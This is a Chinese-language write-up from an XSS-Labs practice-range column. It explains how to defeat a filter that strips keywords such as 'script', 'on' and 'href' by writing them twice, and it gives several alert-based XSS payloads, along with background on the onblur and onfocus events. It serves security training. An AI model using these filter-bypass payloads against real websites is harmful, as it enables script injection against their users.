读者可参考、订阅专栏:Xss-Labs靶场攻防实战
姿势
逻辑后端代码:
将输入内容转化为小写字母,使用str_replace函数将script替换为空字符串
、将on替换为空字符串、将src替换为空字符串
、将data替换为空字符串、将href替换为空字符串
故采用双写绕过
"> <scrscriptipt>alert("qiushuo")</scscriptript> <"
经过滤后会得到
"> <script>alert("qiushuo")</script> <"
同理,使用超链接双写绕过:
"> <a hrhrefef=javascscriptript:alert("qiushuo")>秋说</a> <"
过滤后得到:
"> <a href=javascript:alert("qiushuo")>秋说</a> <"
也可采用onblur事件双写绕过
onblur/onfocus事件
onblur 事件是在 HTML 元素失去焦点时触发的事件。当用户从一个元素切换到另一个元素或点击页面空白区域时,原本获得焦点的元素就会触发 onblur 事件。
可以将 onblur 事件应用于各种 HTML 元素,包括输入框、下拉列表、按钮等。当元素失去焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。
以下是一个示例,展示了如何使用 onblur 事件:
<input type="text" onblur="myFunction()">
<script>
function myFunction() {
alert("Input field lost focus!");
}
</script>
在上述示例中,当文本输入框失去焦点时,myFunction()
函数将被调用,并弹出一个Input field lost focus!
的警告框。
除了直接在 HTML 元素上使用 onblur
属性,同样可以使用 JavaScript 来动态地绑定和处理 onblur 事件。例如:
<input id="myInput" type="text">
<script>
document.getElementById("myInput").addEventListener("blur", function() {
alert("Input field lost focus!");
});
</script>
上述代码通过使用 addEventListener
方法将 onblur 事件监听器添加到文本输入框上。当输入框失去焦点时,绑定的函数将被调用,同样会弹出一个提示框。
onfocus 事件是在 HTML 元素获得焦点时触发的事件。当用户点击或选择某个元素,使其成为当前活动元素时,就会触发 onfocus 事件。
可以将 onfocus 事件应用于各种 HTML 元素,包括输入框、下拉列表、按钮等。当元素获得焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。
以下是一个示例,展示了如何使用 onfocus 事件:
<input type="text" onfocus="myFunction()">
<script>
function myFunction() {
alert("Input field is focused!");
}
</script>
在上述示例中,当文本输入框获得焦点时,myFunction()
函数将被调用,并弹出一个Input field is focused!
的警告框。
除了直接在 HTML 元素上使用 onfocus
属性,还可以使用 JavaScript 来动态地绑定和处理 onfocus 事件。例如:
<input id="myInput" type="text">
<script>
document.getElementById("myInput").addEventListener("focus", function() {
alert("Input field is focused!");
});
</script>
上述代码通过使用 addEventListener
方法将 onfocus 事件监听器添加到文本输入框上。当输入框获得焦点时,绑定的函数将被调用,同样会弹出一个提示框。
" oonnfocus=javascscriptript:alert("qiushuo") "